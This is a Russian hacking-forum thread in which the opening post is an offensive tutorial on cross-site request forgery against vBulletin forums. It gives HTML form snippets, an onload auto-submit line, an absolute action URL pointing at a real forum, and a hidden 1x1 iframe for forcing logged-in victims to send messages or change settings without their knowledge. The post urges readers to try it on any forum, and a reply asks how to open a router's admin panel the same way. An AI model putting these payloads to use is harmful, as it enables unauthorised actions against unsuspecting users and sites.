Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 4 из 4
  1. #1
    TopicStarter
    Аватар для Sler

    Статус
    Offline
    Регистрация
    22.06.2014
    Сообщений
    117
    Репутация
    27 + / -
    Другое

    XSRF-атаки =Р

    XSRF - Cross Site Request Forgery (X и C взаимозаменяются по аналогии с xss, но можно встретить и название CSRF), а по-русски - межсайтовая подстановка запроса.


    Уязвимость возникает вследствие отсутствия проверки источника данных, передаваемых скриптам сервера. Позволяет передать заранее сформированные данные форм ввода (напр. отправка сообщений, смена подписи\аватара) с другого узла скриптам атакуемого ресурса. При этом передаются те же данные, которые мог бы ввести сам пользователь. Но никогда не стал бы wink
    Может не очень правильно объяснил, ибо своими словами smile Короче, теперь поясню суть доступнее. Есть на форуме возможность отправки сообщений. Можно сформировать такой html-код, что при его открытии в браузере, пользователь, запустивший код (и при этом авторизованный на том самом форуме), сам того не зная, отправляет админу матерные сообщения... biggrin ну это только например, всё зависит от нашей фантазии wink


    Поиск уязвимости


    Ищется империческим путём, в народе так же именуемым методом тыка.
    Так же многие сканеры уязвимостей веб-интерфейсов (напр. w3af, jsky и т.п.) умеют анализировать возможность проведения xsrf-атаки.
    Получается, что проверять, есть уязвимость или нет, мы будем в процессе её эксплуатирования. Сначала заготовим (сформируем) запрос, а потом проверим, сработает или нет. loony


    Проводим XSRF-атаку


    Суть формировки запроса к атакуемому ресурсу заключается в сохранении кода формы отправки запроса (1), подстановки в неё наших значений (2) и создания кода автоисполнения запроса (3). Далее разберём каждый пункт подробно. В качестве жертвы выберем сами себя, можете проверять на любом форуме, где вы зарегестрированы. Что будете с собой делать - решать вам) Можно отправить самому себе сообщение для начала, а можно и подпись поменять на "я идиот" biggrin (но это уже для врагов, а не для себя xD).


    Я буду разбирать всё на примере отправки сообщения самому себе на форуме под булкой (VBulletin). Первый попавшийся лично мне под руку был HPC rolleyes


    1) Сохраняем нужный код. Если решили отправлять сообщения, зайдём на страницу отправки (мой кабинет -> новое сообщение) и откроем исходный код. Отсюда нам понадобится не всё, а только форма отправки сообщения (заключена в теги ). Ищем в исходном коде слова, находящиеся в форме отправки где-нибудь в начале. Я буду искать текст "Список получателей". Тут же рядом находится открывающий тег <="" form="">и копируем в текстовик всё, что между ними. У меня получилось вот такое безобразие.


    2) Подставляем значения (формируем запрос). Надеюсь, все читающие знают или хотя бы понимают html, поэтому без проблем вкурят, по какому принципу будут выполнять подстановку в будущем самостоятельно (вне этого римера). Итак, обратимся к странице отправки сообщения:


    Как видим, нам нужно заполнить 3 поля: получатель (1), тема сообщения (2) и сам текст (3). Давайте найдём их в сохранённом коде wacko Есть тут такая фишка: можно ввести в поля, например, слово "упячка", нажать "Предварительный просмотр сообщения" и моментально найти по этому слову в коде, куда нужно подставлять свои значения. Ткая вот военная хитрость! wink
    Вот получатели (строка 43):


    Code


    <div>Список получателей</div>
    <div id="pmrecips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" tabindex="1">[email protected]@KEP</textarea></div>


    Обратите внимание, что кроме textarea так же распространены простые формы ввода (input type="text"), где значение (содержимое формы) вписывается в параметр value, как в случае с заголовком сообщения (строка 104):


    Code


    <td class="smallfont" colspan="3">Заголовок:</td>
    </tr>
    <tr>
    <td><input type="text" class="bginput" name="title" value="ZADROT_POWER FOREVER!" size="50" maxlength="85" tabindex="1" /></td>


    А вот и само сообщение (строка 333):


    Code


    <textarea name="message" id="vB_Editor_001_textarea" rows="10" cols="60" style="display:block; width:380px; height:250px" tabindex="1" dir="ltr">Здесь текст сообщения. Какой хотите))</textarea>


    2) Делаем автовыполнение запроса.
    Для этого в конец нашего кода нужно дописать такую строку:


    Code


    </body></html>


    Чтобы закрыть все теги, а в самое начало добавим строку


    Code


    <html><body onload="document.forms['NAME'].submit();">


    , где NAME нужно заменить на имя вашей формы.
    Пример: если тег формы в начале был такой:


    Code


    <form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
    , то имя формы здесь vbform (name="vbform"), то есть NAME заменяем на vbform.


    Этот код будет выполнять действие submit сразу после загрузки формы.
    Чуть не забыл самую важную вещь! Для того, чтобы форма находила скрипт-обработчик, куда нужно отправлять все данные формы, нужно в теге формы атрибуту action прописать полный путь до скрипта. То есть сейчас мы имеем относительный путь:




    action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
    , а нужен нам полный:




    action="https://hacker-pro.net/private.php?do=insertpm&pm.." method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">


    Это очень частая ошибка! Сам в этом только что убедился, потому что наступил на эти грабли biggrin
    Думаю, в этом не было абсолютно ничего сложного. Сохраняем наш код в файлс расширением .html и будем проверять, сработает ли атака smile.

    Тестирование


    Удостоверьтесь, что вы авторизованы на форуме и просто откройте в браузере только что сохранённый файл. Ждём пару секунд до полной загрузки и... после отправки сообщения нас перекидывает обратно в личный кабинет (нет, это не мы сделали, так форум устроен xD) и тут же результат: входящее сообщение от самого себя. Как видим, всё прекрасно работает!


    Практическое применение


    Итак, у нас всё заработало и сами себе мы сообщение отправить можем. Это конечно хорошо, но "Как это можно использовать?" - спросите вы. Да элементарно, Ватсон! Заливаем нашу страничку на любой хостинг и каждый, кто пройдёт по ссылке на нашу страницу, будет выполнять этот код (при услови, что он авторизован на сайте, чтобы выполнить запрос) и отправлять нам это сообщение. Нетрудно догадаться, что, модифицировав код под наши конкретные нужды, можно в принципе заставить пользователя совершить почти любое действие. Всё зависит от атакуемого ресурса, ваших целей и фантазии! =) Суть уловили? Врубайте фантазию и смекалку!



    Обрадовались? Рано. =) Залейте ту же страницу на локалхост или любой хостинг и зайдите на неё. Работает? Хрен. Анализируем наши ошибки. Внимательно посмотрите, какие данные передаются "атакуемому" серверу из формы отправки сообщения. Особенно нас будет интересовать то, чего не видно простым смертным. Скрытые поля:


    Code


    <input type="hidden" name="do" value="process" />
    <input type="hidden" name="quicksearch" value="1" />
    <input type="hidden" name="childforums" value="1" />
    <input type="hidden" name="exactname" value="1" />
    <input type="hidden" name="s" value="" />
    <input type="hidden" name="securitytoken" value="1299250106-6d087ee2302078af38a29dcec38647831288b404" />


    Здесь name="securitytoken" как бы намекает (; Включив соображалку, можно догадаться, что значение поля генерируется при запросе формы отправки сообщения и сверяется каждый раз при передачи данных формы серверу. Ясен пень, значение рандомное и уникальное для каждого юзера. Посему, наш скрипт с XSRF здесь отработает только 1 раз... и только под нашим же аккаунтом.
    Сделали важный вывод - перед тем, как хакать интернеты (lol), проверяем форму на налчие подобных скрытых полей. Ну и не забывваем реализовывать подобный механизм идентификации пользователя при написании собственных веб-приложений. Самым очевидным решением является использование в качестве контрольного значения идентификатора сессии. Жаль только, что печеньку можно запросто отсниффать, так что для искушённых есть более надёжные методы.


    Однако это не значит, что всё вышенаписанное - бесполезный бред. При нормальных условиях (атм. давление 101 кПа и t=273 Кельвина ;D), отсутствии механизма проверки пользователя, данная атака будет осуществима.




    Теперь пару слов о том, как сделать код менее палевным, чтобы его не было видно жертве.
    Создайте файл .html с таким содержимым:


    Code


    <html>
    <title>
    Заголовок страницы
    </title>
    <bоdу background="http://адрес к картинке/">
    <ifrаmе src="1.html" width="1" height="1"></ifrаmе>
    </bоdу></html>


    1.html замените на имя вашего файла с XSRF-кодом и залейте оба файла в одну папку на хостинге. Теперь, дав ссылку жертве на последний файл, она будет смотреть картинку, а действие уже выполнится. Суть заключена в теге ifrаmе. По сути вы можете вставить этот код в любой html-файл (и даже при помощи xss-уязвимости можно провести xsrf-атаку wink ) для незаметного выполнения атаки:


    Code


    <ifrаmе src="http://yourhost.ru/xsrf.html" width="1" height="1"></ifrаmе>


    "http://yourhost.ru/xsrf.html" коментировать не нужно?


    Подведём скромные итоги


    •Мы узнали о ещё одном виде уязвимостей

    •Научились проводить XSRF-атаки

    •Знаем теперь, откуда берётся спам в контакте, даже если аккаунт не взламывали

    •Знаем, зачем для смены пароля нужно ввести старый и понимаем, что можно сделать, если пароль меняется без подтверждения
    Вот вам и мозговая гимнастика: из последних 2 пунктов сделать для себя чёткие выводы, додумать всё до конца и напридумывать ещё 1001 способ применения этой уязвимости.
    Последний раз редактировалось Sler; 23.07.2014 в 14:47.
    Не обманешь судьбу и не купишь любовь
    Ни за жизнь, ни за смерть, ни за горсть серебра.
    И холодная сталь ляжет под ноги вновь
    Равновесием зла и добра.

  2. Пользователь сказал cпасибо:
  3. #2
    Аватар для sata-ata

    Статус
    Offline
    Регистрация
    29.10.2013
    Сообщений
    3,035
    Репутация
    282 + / -
    Программист
    источник?

    при написании/копипастинга редактируй в "расширенном режиме"
    ставь теги [Только зарегистрированные могут видеть это. ]
    8AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут видеть это. ]

  4. #3
    TopicStarter
    Аватар для Sler

    Статус
    Offline
    Регистрация
    22.06.2014
    Сообщений
    117
    Репутация
    27 + / -
    Другое
    Цитата Сообщение от sata-ata Посмотреть сообщение

    при написании/копипастинга редактируй в "расширенном режиме"
    ставь теги [Только зарегистрированные могут видеть это. ]
    Ок=)
    Цитата Сообщение от sata-ata Посмотреть сообщение
    Источник?
    Я не помню=) Все эти тексты у меня на компе в блокноте лежат=) (Я их делал типо чтобы я не забывал=)
    Не обманешь судьбу и не купишь любовь
    Ни за жизнь, ни за смерть, ни за горсть серебра.
    И холодная сталь ляжет под ноги вновь
    Равновесием зла и добра.

  5. #4
    Аватар для tyman

    Статус
    Offline
    Регистрация
    12.09.2013
    Сообщений
    310
    Репутация
    78 + / -
    Хакинг
    А как такое проделать с роутером, что бы попасть в веб панель, и открыть для всеобщего доступа?
    .|.

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.